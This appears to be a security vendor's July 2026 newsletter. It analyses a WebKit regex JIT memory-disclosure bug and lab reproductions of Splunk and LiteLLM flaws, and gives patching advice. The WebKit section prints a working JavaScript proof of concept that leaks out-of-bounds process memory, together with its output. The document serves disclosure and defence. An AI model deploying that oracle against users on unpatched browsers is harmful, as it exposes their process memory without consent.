NEONIX · THE DEBRIEF Subscribe
FILE — DBRF / 002 / 07·26 PUBLIC REGION · AU
◆  Issue 002 · July 2026
THEDEBRIEF

WebKit memory disclosure, Splunk, and LiteLLM

Monthly technical analysis for Australian security leaders NEONIXSECURITY.COM
By Neonix Security 12 min read · 6 Jul 2026 ● ISSUE 002

This issue opens with our own work: a WebKit vulnerability Neonix reported to Apple — CVE-2026-43740, a regex-engine memory-disclosure bug fixed in the 26.5.2 updates — where a single crafted regular expression can disclose WebKit process memory without user interaction. Then two flaws we rebuilt in a lab: a Splunk Enterprise service that accepts unauthenticated file-create and truncate requests, and a LiteLLM AI-gateway "test" endpoint that can launch a caller-supplied MCP process. The connecting thread — code that trusts an input it never checked. Plus June's wider signal: PeopleSoft extortion, exploited edge-device flaws, and a KEV owner queue worth assigning before it becomes unowned exposure.


The regex that discloses WebKit process memory

Apple credits Neonix technical lead Arni Hardarson for CVE-2026-43740, a WebKit vulnerability fixed in macOS Tahoe 26.5.2 and iOS/iPadOS 26.5.2. It is an out-of-bounds memory read in YARR — the just-in-time (JIT) compiler for JavaScript regular expressions in Safari's engine. A single crafted regex, evaluated by web content, can disclose WebKit process memory through a match/no-match oracle. There is no click, no prompt, and no download. Because the fix has shipped, we can walk through exactly what went wrong.

Root cause — one bounds check where two were needed

To match a case-insensitive backreference like /(x)\1/i, the JIT has to compare two characters ignoring case: the one it just read from the input, and the one the group captured. It does that by looking each up in latin1CanonicalizationTable — a fixed 256-entry table. The generated code checked that the input character was in range (≤ 127) before indexing the table — but never checked the captured character. A captured code point above U+00FF therefore indexes far past the end of the table.

  patch diff — the missing guard in YarrJIT.cpp
# vulnerable shape, simplified from matchBackreference()
charactersMatch.append(branch32(Equal, character, patternCharacter))
notASCII = branch32(GreaterThan, character, 127)      # guards only input char
load16(latin1CanonicalizationTable[character])
load16(latin1CanonicalizationTable[patternCharacter]) # captured char is unchecked

# fixed shape
characterNotASCII    = branch32(GreaterThan, character, 127)
patternCharNotASCII = branch32(GreaterThan, patternCharacter, 127)
# if either value is non-ASCII, take the Unicode-aware slow path
The out-of-bounds index
A captured U+017F indexes outside a 256-entry table
Capture ſ (U+017F, value 383) and match it against an ASCII input character: the input passes the ≤ 127 check, then the code reads latin1CanonicalizationTable[383], outside the 256-entry table. Push the captured character up to U+FFFF and the indexed read lands roughly 128 KB past the table. The fix simply adds the missing bounds check on the captured character, so anything non-ASCII falls through to the correct, slower Unicode path.
  our lab — pre-patch macOS 26.5.1, system jsc: JIT vs interpreter
# the JIT gets these wrong; the (correct) interpreter, run with --useJIT=false, does not
/(ſ)\1/iu.exec("ſs")      // JIT: null          # a REAL match silently dropped
                            // interpreter: ["ſs","ſ"]   # correct

/(.)\1/iu.exec("Ā"+"K")   // JIT: ["ĀK","Ā"]   # a FALSE match, invented from out-of-bounds memory
                            // interpreter: null         # correct
# root flaw: the JIT canonicalizes via a 256-entry table but bounds-checks only ONE
# of the two characters — a captured char > U+00FF indexes up to ~128 KB past it.
What our lab proved
The bug is a JIT-only memory oracle, not a generic regex mismatch
We tested on a pre-patch macOS 26.5.1 arm64 system using Apple's shipped JavaScriptCore shell rather than an ad-hoc harness, so the YARR JIT path was actually exercised; then we forced the interpreter with --useJIT=false as the control. The same expressions diverged only when the YARR JIT was active. Our BMP sweep ran about 6 million probes (U+0100–U+FFFF captured code points, excluding surrogates, × 95 printable ASCII probes): JIT run 1 and run 2 both returned 354 matches across 300 distinct out-of-bounds offsets and a 66.7 KB observed span, with the same hash both times. The interpreter returned only 4 genuine Unicode case-folding matches. That gap is the disclosure signal.
Impact — a memory-disclosure oracle
Wrong answers that are a readable function of out-of-bounds memory
The match result is not random — it depends on whatever bytes sit at the out-of-bounds offset. By choosing the captured code point (the offset) and the character it is compared against (the probe), a page can read process memory one bit at a time. We swept the whole Basic Multilingual Plane in our lab and the oracle is deterministic and fast: identical results across runs, completing in about a second, with zero user interaction. It is WebKit-specific — Chrome (V8) and Firefox return the correct answers.

The proof-of-concept — about 40 lines

The bug is fixed in 26.5.2, so here is the core of what we ran. It warms the regex until the JIT compiles it, then sweeps captured code points (the out-of-bounds index) against printable ASCII probes. A match means the out-of-bounds value equals the probe — so the probe that matches is the recovered byte. On our unpatched test build this recovered 300 out-of-bounds offsets; on a patched 26.5.2 build — and on Chrome and Firefox — the same code recovered only the two genuine Unicode case-folds.

  the oracle — core of our Safari PoC
const re = /(.)\1/iu;                          // .exec() compiles the buggy full-match JIT path
for (let w = 0; w < 30000; w++) re.exec("ĀA"); // warm the YARR JIT so it compiles

const mem = {};                                // recovered out-of-bounds bytes
for (let cp = 0x100; cp <= 0xFFFF; cp++) {     // captured code point = out-of-bounds table index
  const c = String.fromCharCode(cp);
  for (let a = 0x20; a <= 0x7E; a++) {         // ASCII probe byte
    // match ⇒ latin1CanonicalizationTable[cp] (read out of bounds) == canon(probe)
    if (re.exec(c + String.fromCharCode(a)) !== null) {
      mem[(cp - 0x100) * 2] = a;               // byte recovered at this out-of-bounds offset
      break;
    }
  }
}
  its output — real run, unpatched Safari on macOS 26.5.1
● VULNERABLE — WebKit YARR JIT read 300 out-of-bounds offsets (66.7 KB span) · 367 ms · deterministic

# offset · recovered byte · ascii
+0x00000  0x4b  K
+0x00010  0x53  S
+0x001e0  0x40  @
+0x001ec  0x41  A
+0x001f0  0x5a  Z
+0x001fc  0x5b  [
+0x00200  0x60  `
+0x0021c  0x7b  {
...  300 offsets total · patched 26.5.2 / Chrome / Firefox recover only the 2 real case-folds → "not vulnerable"
Provenance
We found it, reproduced it, reported it; Apple fixed it in 26.5.2
The root cause, the reproduction and the code above are our own. The recovered bytes are from the demo reading its own process's adjacent memory on an unpatched build. The only action a reader needs is to install the update.
Self-check — forward to whoever manages your Apple fleet
Ship 26.5.2 across macOS, iOS and iPadOS
Safari and apps that evaluate web content through WebKit or WKWebView on a build below 26.5.2 are exposed to hostile web content. Confirm your MDM actually delivered the 26.5.2 Apple updates to managed Macs, iPhones and iPads — and to the personal devices in your BYOD program.

Splunk's backup service accepts unauthenticated paths

On 10 June, Splunk disclosed CVE-2026-20253 (CVSS 9.8): an unauthenticated arbitrary file creation and truncation flaw in a PostgreSQL "sidecar" service that ships with Splunk Enterprise. It affects 10.2.0–10.2.3 and 10.0.0–10.0.6, and is fixed in 10.2.4, 10.0.7 and 10.4.0+. Splunk Cloud is not affected because it does not run the PostgreSQL sidecar. CISA added it to KEV on 18 June. We wanted to know exactly what the fix changed and whether it was as bad as it sounded — so we built it in a lab and diffed it ourselves.

What the patch diff showed

We compared 10.2.3 (vulnerable) with 10.2.4 (fixed) and found 203 changed files. The change that matters sits in a single packaged Go binary — splunk-postgres — which was shipped unstripped, with symbols, so we could follow the recovery service by name.

Binary evidence — the endpoints ship "auth: off"
A backup API registered with requireAuthentication:false
The sidecar's own manifest registers several routes with Splunk's front-end proxy as not requiring authentication, including POST /v1/postgres/recovery/backup and .../restore. That block is byte-identical between 10.2.3 and 10.2.4 — so the fix is not "turn authentication on" at the proxy. The request body carries a field the schema describes literally as "the absolute filepath of the backup being created" — i.e. an attacker names the file that gets written.

What actually happens on the server

Reading the sidecar's own log, the backup runs pg_dump -f <backupFile> -U <user>, and the HTTP Basic username and password from the request are passed straight through as the Postgres credentials. In 10.2.3 the service only checks that a Basic header is present — it never validates it. And because pg_dump opens (creates and truncates) the output file before it connects to the database, the attacker's file is created or zeroed even when the database login then fails on the junk password.

  the mechanism — reconstructed from our lab, framed for defenders
# splunkd proxies an unauthenticated recovery route to the loopback sidecar
request reaches backup handler
  Basic header exists, but is not validated
  caller controls backupFile as an absolute filesystem path

# server-side:  pg_dump -f <backupFile> -U <Basic-username> ...
#   pg_dump opens the output file (O_CREAT|O_TRUNC) before it authenticates to the DB,
#   so a Splunk-writable path can be created or truncated even when login fails.
# root flaw: a sensitive function treated "a header exists" as authentication.
Patch-diff — what the fix adds
10.2.4 adds a real token check inside the sidecar
The fixed binary adds functions absent in the vulnerable one — validateSplunkToken, and new ErrInvalidToken / ErrNotAdmin errors — plus a set of loopback and pg_hba network-hardening routines. In other words: the recovery API now requires a genuine Splunk admin token, and the sidecar's database trust boundary is tightened. The proxy layer never changed; the missing check was inside the service the proxy trusts.
Our lab — before / after, with our own harness
Same unauthenticated request: 10.2.3 writes the file, 10.2.4 refuses
Against 10.2.3, an unauthenticated request with a junk Basic header created a file at a path we chose and truncated an existing file from 780 bytes to 0. Against 10.2.4, the identical request returned HTTP 401 — "Authorization header must use Splunk token" for both — exactly the new check the diff predicted. We used a benign marker file in a lab-owned directory; we are not publishing a weaponised request.
Impact — stated precisely, with its limits
Unauthenticated file create + truncate; content-write needs valid DB creds
Unauthenticated, an attacker can create empty files and truncate existing ones anywhere the Splunk service account can write — including under /opt/splunk/bin, which we confirmed in our lab. That is enough for denial of service and integrity damage (zeroing configs, certs, binaries) and could become a code-execution stepping stone if paired with a way to control content or a sensitive writable path. Writing chosen content — a full database dump to an arbitrary path, i.e. data theft — additionally requires valid Postgres credentials; every junk-password attempt in our lab wrote zero bytes. We did not build a create-to-RCE chain, and we are withholding weaponisation details.
Self-check — forward to whoever owns your Splunk
You need attention if this is on-prem Enterprise on an affected build
(1) You run Splunk Enterprise (not Splunk Cloud) · (2) on 10.2.0–10.2.3 or 10.0.0–10.0.6 · (3) with Splunk Web / the management port reachable by users or networks you do not fully trust.
Fix: upgrade to 10.2.4 / 10.0.7 / 10.4.0+. The advisory lists no work-around, so patching is the control. Restrict Splunk Web and management interfaces to trusted networks regardless.

The AI gateway's "test" endpoint can start MCP processes

CVE-2026-42271 — added to CISA's KEV on 8 June — is a command-injection flaw in LiteLLM, a widely self-hosted proxy that sits in front of AI model providers and accumulates their API keys. The affected feature is the MCP (Model Context Protocol) server test endpoints, which build a client from request-supplied fields. Horizon3, who reported it, describe chaining it with a Starlette Host-header bypass (CVE-2026-48710) to reach it unauthenticated. We took the open-source tags and reproduced the LiteLLM half ourselves.

What our source diff and lab show

Comparing v1.83.3 (vulnerable) with the fixed v1.83.7, the fix adds a PROXY_ADMIN authorisation check to both /mcp-rest/test/connection and /mcp-rest/test/tools/list, and adds an allow-list of permitted commands to the stdio-transport path that previously took the caller's command and arguments directly. In our lab, a LiteLLM v1.83.3 proxy started without a master key launched our own benign MCP process from an unauthenticated request; v1.83.7 refused the same request with HTTP 403 — "Only PROXY_ADMIN users can perform this action."

Why leaders should care more than the CVSS suggests
An AI gateway is a credentialed control plane
A self-hosted LLM proxy holds model-provider keys, downstream integration tokens, and often a database of virtual keys. Command execution as the proxy process is therefore closer to credential-store or control-plane compromise than to a single-app bug. The "it's only an internal dev service" assumption is exactly what fails when the gateway is reachable.
Honesty box — what we did and did not reproduce
We proved the LiteLLM half; the Starlette chain we attribute to Horizon3
At source level, both LiteLLM tags' dependency files pin the same Starlette version; in our editable lab environment the resolver installed Starlette 0.50.0. Our lab therefore validates the LiteLLM endpoint authorisation flaw and its fix, not the Starlette Host-header bypass that makes the published chain fully unauthenticated. We attribute that unauthenticated-RCE chain to Horizon3's research and did not independently reproduce the dependency-bypass condition. We are not publishing a weaponised request body.
Self-check — forward to whoever runs your AI platform
Treat self-hosted AI gateways as credentialed production infrastructure
Inventory self-hosted LiteLLM (and similar) proxies; upgrade LiteLLM to 1.83.7+ and move Starlette to a fixed line such as 1.0.1+; block MCP test endpoints from untrusted networks; and rotate model-provider and downstream keys held by any gateway that was internet-reachable.

What the rest of June looked like

The items below are drawn from vendor advisories and named industry reporting, not from our own lab this month. We flag them because they fit June's theme — trust boundaries at the edge — and because several are being actively exploited.

Risk · Enterprise apps · Active extortion
Oracle PeopleSoft CVE-2026-35273 — exposed Environment Management turns critical
Oracle issued an out-of-band alert on 10 June for PeopleTools 8.61 and 8.62: remotely exploitable without authentication, leading to remote code execution. CISA added it to KEV on 12 June with known ransomware use. Mandiant/GTIG report zero-day exploitation from late May, attributed to UNC6240 / ShinyHunters, with 100+ organisations notified — 68% in higher education — centred on Environment Management Hub (PSEMHUB) exposure. This is vendor and named-research reporting rather than a Neonix lab result. Hunt POST /PSEMHUB/hub and /PSIGW/HttpListeningConnector, and restrict those paths from the internet.
Risk · Edge devices · Exploited in the wild
Two more exposed control-plane bugs requiring clear ownership
Check Point CVE-2026-50751 (disclosed 8 June) lets attacker-controlled IKEv1 negotiation flags skip certificate/signature verification on Remote Access / Mobile Access VPN — the same class as last month's PAN-OS bypass. Ivanti Sentry CVE-2026-10520 (CVSS 10.0, KEV 11 June) is unauthenticated OS command injection with root RCE via an internal configuration API that became internet-reachable. Both are being exploited; both should be handled as patch-and-hunt items.
Signal · Browsers
Chrome shipped a fix for an in-the-wild V8 bug
Google's 9 June Stable Channel update patched CVE-2026-11645, a high-severity V8 out-of-bounds memory issue Google says is exploited in the wild. Details are intentionally thin — the action is simply to make sure Chrome/Chromium auto-update actually completed across your fleet this week.
Risk · June KEV owner queue
RMM, PLM, voice and network controllers are on CISA KEV
June's KEV list includes a cluster that maps cleanly to business owners: SimpleHelp CVE-2026-48558 (RMM/OIDC authentication bypass), PTC Windchill/FlexPLM CVE-2026-12569 (PLM remote code execution), Cisco Unified CM CVE-2026-20230 (SSRF with a file-write path), Ubiquiti UniFi OS CVE-2026-34908/34909/34910 (site-network controller flaws), plus Cisco SD-WAN Manager CVE-2026-20262 and Lantronix EDS5000 CVE-2025-67038. This is not our lab work; it is a KEV-driven owner sweep: ask MSP/vendor management, manufacturing/engineering, voice, site-network, SD-WAN and OT owners to confirm and document whether these products exist, whether they were exposed, and whether patch-and-hunt evidence exists.

For Australian leaders — this week

Each item is written so a CIO, CISO or Head of Risk can forward it straight to the accountable team. Mapped to ASD Essential Eight and APRA CPS 234 where those frameworks apply.

  1. 01 Ship the Apple 26.5.2 updates (CVE-2026-43740) Confirm macOS Tahoe, iOS and iPadOS 26.5.2 actually reached managed and BYOD devices — the WebKit fix closes a no-interaction memory-disclosure bug reachable from any web page. ASD E8 — Patch Applications · Neonix-reported
  2. 02 Patch on-prem Splunk Enterprise now Upgrade affected 10.2.x / 10.0.x to 10.2.4 / 10.0.7 / 10.4.0+. There is no work-around. Confirm Splunk Web and management ports are not reachable from untrusted networks. ASD E8 — Patch Applications · CISA KEV added 18 Jun
  3. 03 Inventory and upgrade self-hosted AI gateways Find every LiteLLM / MCP proxy; upgrade LiteLLM to 1.83.7+ and move Starlette to a fixed line such as 1.0.1+; block MCP test endpoints; rotate provider and downstream keys any exposed gateway held. CISA KEV · treat as credentialed infra
  4. 04 Restrict and hunt PeopleSoft Environment Management Block external access to /PSEMHUB and /PSIGW paths; patch PeopleTools 8.61/8.62; hunt POST /PSEMHUB/hub and unexpected JSPs. Assume compromise if it was internet-facing. APRA CPS 234 · CISA KEV added 12 Jun; due 15 Jun
  5. 05 Patch exploited edge devices Check Point CVE-2026-50751 (disable legacy IKEv1 / require machine certificates) and Ivanti Sentry CVE-2026-10520 (patch to fixed branch, inspect for backdoors, rotate secrets). Both are exploited in the wild.
  6. 06 Confirm Chrome/Chromium auto-update completed Verify the 9 June V8 fix (CVE-2026-11645) is actually deployed across managed browsers — "auto-update is on" is not the same as "updated". ASD E8 — Patch Applications
  7. 07 Run the June KEV owner sweep Ask MSP/vendor management, manufacturing/engineering, voice/collaboration, site-network, SD-WAN and OT owners to confirm SimpleHelp, Windchill/FlexPLM, Cisco Unified CM, UniFi OS, Cisco SD-WAN Manager and Lantronix EDS5000 exposure, patch status and hunt evidence. CISA KEV — June

Numbers for the risk meeting

8
June KEV items in the owner queue
RMM, PLM, voice, network, OT
7
Owner groups to brief today
Endpoint, SIEM, AI, ERP, edge, MSP, OT
4
Control planes to exposure-check first
Splunk, LiteLLM, PeopleSoft EMH, edge/voice
3
Original technical tracks we can stand behind
WebKit, Splunk, LiteLLM
2
Secret stores to rotate if exposed
AI gateway keys; edge/admin credentials
0
Trust in "internal-only" without evidence
Verify reachability, then patch and hunt

Use these as work-queue numbers, not trivia. Assign the seven owner groups, run the four exposure checks before debating severity, and rotate secrets where the AI gateway, edge appliance, RMM or control plane was reachable. WebKit, Splunk and LiteLLM are backed by original Neonix work; PeopleSoft, Check Point, Ivanti, Chrome and the June KEV owner queue are vendor, CISA or named-research signals. No third-party systems were tested.

Reference desk

That's Issue 002. The through-line: code that trusts an input it never checked — a JIT that bounds-checks one character but not the other, a proxy that treats "someone reached me" as authentication. We led with our own WebKit finding because that is the standard we hold ourselves to — find it, reproduce it, report it, then explain it plainly. Next month: another measured look at the security problems showing up in Australian environments, with our own labs behind the claims.

— Neonix Security
The Debrief · Neonix Security
Research-led offensive security intelligence.
Technical analysis, exposure data, and practical action for Australian security leaders.
Subscribe on LinkedIn →

Need one of these exposure paths verified in your environment? See how Neonix tests it →